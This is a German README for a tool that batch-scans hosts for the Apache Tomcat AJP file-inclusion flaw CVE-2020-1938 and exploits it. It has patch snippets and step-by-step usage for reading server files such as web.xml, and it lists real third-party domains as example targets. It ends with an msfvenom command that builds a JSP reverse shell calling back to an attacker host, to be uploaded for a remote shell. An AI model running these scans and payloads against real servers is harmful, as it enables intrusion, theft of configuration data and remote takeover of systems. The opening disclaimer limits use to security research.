
CVE-2020-1938 / CNVD-2020-1048 Erkennungstools
Das Tool dient ausschließlich der Sicherheitsforschung und internen Selbstprüfung. Die Nutzung des Tools für illegale Angriffe ist untersagt. Für daraus resultierende Konsequenzen haftet der Benutzer.
Apache-Tomcat-Tool zur Batch-Erkennung der Dateieinschluss-Schwachstelle (CVE-2020-1938 / CNVD-2020-1048).
Dieses Projekt wurde auf der Grundlage von Kit4ys Projekt modifiziert.
Wenn ip.txt nur eine Domain oder IP enthält, wird threadCount zu 1 und das Programm läuft tatsächlich nicht. Es wurde Code zur Überprüfung der Thread-Anzahl hinzugefügt:
...
if threadCount == 1:
threadCount = 2
for i in range(0,threadCount-1):
...
self.stream = self.socket.makefile("rb", bufsize=0)
print("".join([d.data for d in data]))
if sys.version_info < (3, 0):
self.stream = self.socket.makefile("rb", bufsize=0)
else:
self.stream = self.socket.makefile("rb", buffering=None)
if sys.version_info < (3, 0):
print("".join([d.data for d in data]))
else:
print(b"".join([d.data for d in data]).decode("UTF-8"))
1. Die zu scannenden Domains/IPs in ip.txt ablegen, z. B.:
127.0.0.1
www.baidu.com
www.google.com
2. python threading-find-port-8009.py
Scannt die in ip.txt enthaltenen Domains/IPs und ermittelt diejenigen mit offenem Port 8009; die Ergebnisse werden in die generierte Datei 8009.txt geschrieben.
3. python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py
Filtert die anfälligen URLs aus 8009.txt heraus und speichert sie in vul.txt. Die am Ende in vul.txt vorhandenen Domains sind die Domains, die die Schwachstelle aufweisen.
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128
Standardmäßig wird ROOT unter webapps gelesen. Wenn „/asdf“ in „/test/asdf“ geändert wird, kann auf den Inhalt des test-Verzeichnisses unter webapps zugegriffen werden.
t.perform_request('/asdf',attributes=[
Falls der Server gleichzeitig eine Datei-Upload-Schwachstelle aufweist, die folgende shell.txt hochladen:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
Wenn „/asdf“ in „/asdf.jsp“ geändert wird, kann nach dem Start von MSF mit dem PoC-Tool eine Shell erlangt werden.